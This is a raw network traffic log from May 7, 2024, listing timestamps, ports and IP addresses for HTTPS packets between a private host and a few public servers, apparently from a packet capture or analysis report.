May 7, 2024 16:12:16.236802101 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.236851931 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.236886978 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.236891985 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.237910986 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.237951994 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.237956047 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.237965107 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.237998962 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.238003016 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.281985998 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.282151937 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.282223940 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.282232046 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.282293081 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.282361984 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.282403946 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.282408953 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.282458067 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.282490969 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.282495022 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.282527924 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.282531023 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.284565926 CEST	443	49726	23.51.58.94	192.168.2.8
May 7, 2024 16:12:16.284651995 CEST	49726	443	192.168.2.8	23.51.58.94
May 7, 2024 16:12:16.287774086 CEST	49726	443	192.168.2.8	23.51.58.94
May 7, 2024 16:12:16.287784100 CEST	443	49726	23.51.58.94	192.168.2.8
May 7, 2024 16:12:16.288074970 CEST	443	49726	23.51.58.94	192.168.2.8
May 7, 2024 16:12:16.291079998 CEST	49726	443	192.168.2.8	23.51.58.94
May 7, 2024 16:12:16.318535089 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.318595886 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.318603039 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.318617105 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.318664074 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.318669081 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.318722963 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.318774939 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.318821907 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.318826914 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.318878889 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.318913937 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.318922997 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.318958044 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.318959951 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.318969965 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.319013119 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.319017887 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.319066048 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.319104910 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.319108009 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.319644928 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.319713116 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.319719076 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.319725037 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.319761992 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.319797993 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.319878101 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.319914103 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.319917917 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.320002079 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.320056915 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.320060015 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.320528984 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.320596933 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.320612907 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.320617914 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.320648909 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.320652962 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.320703030 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.320749044 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.320753098 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.320827961 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.321145058 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.321194887 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.321199894 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.321222067 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.321263075 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.321266890 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.321301937 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.321305037 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.321361065 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.321418047 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.321427107 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.321430922 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.321463108 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.322205067 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.322252035 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.322261095 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.322264910 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.322303057 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.322307110 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.322349072 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.322371960 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.322408915 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.322413921 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.322591066 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.322593927 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.323231936 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.323287010 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.323291063 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.323343992 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.323380947 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.323384047 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.323657990 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.323718071 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.323723078 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.323802948 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.323844910 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.323848963 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.323925972 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.323966980 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.323971033 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.324139118 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.324183941 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.324187994 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.324219942 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.324223042 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.324270964 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.324306011 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.324310064 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.324373007 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.324484110 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.324521065 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.324526072 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.324569941 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.324958086 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.325033903 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.325078011 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.325083017 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.325311899 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.325387955 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.325392008 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.325397968 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.325438023 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.325442076 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.325484991 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.325582981 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.325587034 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.325951099 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.326003075 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.326006889 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.326174974 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.326215982 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.326216936 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.326225042 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.326257944 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.326265097 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.327730894 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.327750921 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.327800989 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.327805996 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.327845097 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.329516888 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.329539061 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.329591990 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.329597950 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.329637051 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.331340075 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.331393003 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.331399918 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.331409931 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.331439018 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.331454039 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.332113981 CEST	443	49726	23.51.58.94	192.168.2.8
May 7, 2024 16:12:16.332427025 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.332448959 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.332494020 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.332499027 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.332526922 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.332562923 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.333981991 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.334031105 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.334064960 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.334070921 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.334096909 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.334114075 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.369659901 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.369687080 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.369716883 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.369752884 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.369761944 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.369781971 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.369796038 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.369812965 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.369822025 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.369882107 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.369885921 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.369951963 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.369986057 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.369992971 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.369998932 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.370023966 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.370040894 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.370063066 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.370065928 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.404819965 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.404841900 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.404917002 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.404936075 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.404949903 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.406394958 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.406416893 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.406455994 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.406460047 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.406491041 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.406507015 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.406686068 CEST	443	49727	104.17.2.184	192.168.2.8
May 7, 2024 16:12:16.407332897 CEST	49727	443	192.168.2.8	104.17.2.184
May 7, 2024 16:12:16.407347918 CEST	443	49727	104.17.2.184	192.168.2.8
May 7, 2024 16:12:16.408111095 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.408128023 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.408174992 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.408179045 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.408210039 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.408216953 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.408236027 CEST	443	49727	104.17.2.184	192.168.2.8
May 7, 2024 16:12:16.408303022 CEST	49727	443	192.168.2.8	104.17.2.184
May 7, 2024 16:12:16.408945084 CEST	49727	443	192.168.2.8	104.17.2.184
May 7, 2024 16:12:16.409003973 CEST	443	49727	104.17.2.184	192.168.2.8
May 7, 2024 16:12:16.409491062 CEST	49727	443	192.168.2.8	104.17.2.184
May 7, 2024 16:12:16.409501076 CEST	443	49727	104.17.2.184	192.168.2.8
May 7, 2024 16:12:16.409878016 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.409917116 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.409938097 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.409941912 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.409981012 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.411118984 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.411140919 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.411191940 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.411195993 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.411292076 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.412991047 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.413036108 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.413053036 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.413059950 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.413094997 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.413891077 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.413908005 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.413973093 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.413978100 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.414011955 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.414429903 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.414520025 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.414591074 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.415059090 CEST	49723	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.415071011 CEST	443	49723	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.457390070 CEST	49727	443	192.168.2.8	104.17.2.184
May 7, 2024 16:12:16.458090067 CEST	443	49726	23.51.58.94	192.168.2.8
May 7, 2024 16:12:16.458161116 CEST	443	49726	23.51.58.94	192.168.2.8
May 7, 2024 16:12:16.458363056 CEST	49726	443	192.168.2.8	23.51.58.94
May 7, 2024 16:12:16.604780912 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.604830980 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.604888916 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.605711937 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.605732918 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.628267050 CEST	443	49727	104.17.2.184	192.168.2.8
May 7, 2024 16:12:16.628340960 CEST	443	49727	104.17.2.184	192.168.2.8
May 7, 2024 16:12:16.628443956 CEST	49727	443	192.168.2.8	104.17.2.184
May 7, 2024 16:12:16.636090040 CEST	49727	443	192.168.2.8	104.17.2.184
May 7, 2024 16:12:16.636121035 CEST	443	49727	104.17.2.184	192.168.2.8
May 7, 2024 16:12:16.638874054 CEST	49726	443	192.168.2.8	23.51.58.94
May 7, 2024 16:12:16.638883114 CEST	443	49726	23.51.58.94	192.168.2.8
May 7, 2024 16:12:16.638901949 CEST	49726	443	192.168.2.8	23.51.58.94
May 7, 2024 16:12:16.638909101 CEST	443	49726	23.51.58.94	192.168.2.8
May 7, 2024 16:12:16.689080000 CEST	49676	443	192.168.2.8	52.182.143.211
May 7, 2024 16:12:16.781888008 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.782428980 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.782449961 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.782783985 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.783350945 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.783418894 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:16.783530951 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.783575058 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:16.783598900 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021591902 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021636963 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021667004 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021696091 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021708965 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.021728992 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021764994 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.021775961 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021801949 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021817923 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.021826029 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021871090 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021904945 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021919966 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.021939993 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.021954060 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.022278070 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.022303104 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.022349119 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.022356987 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.022397995 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.022528887 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.022595882 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.022617102 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.022658110 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.022665024 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.022707939 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.023101091 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.023144960 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.023376942 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.023437023 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.023447990 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.023493052 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.023499012 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.023530006 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.023555040 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.023600101 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.023606062 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.023650885 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.024585009 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.024668932 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.024739981 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.024817944 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.024821043 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.024835110 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.024899006 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.024905920 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.024972916 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.024976969 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025062084 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025166035 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025233984 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025247097 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.025254965 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025290012 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.025295973 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025353909 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.025358915 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025419950 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025490046 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025561094 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.025568962 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025630951 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.025758982 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025851011 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.025998116 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.026046038 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.026052952 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.026093960 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.026098967 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.026194096 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.026238918 CEST	49728	443	192.168.2.8	104.17.3.184
May 7, 2024 16:12:17.026246071 CEST	443	49728	104.17.3.184	192.168.2.8
May 7, 2024 16:12:17.026351929 CEST	443	49728	104.17.3.184	192.168.2.8
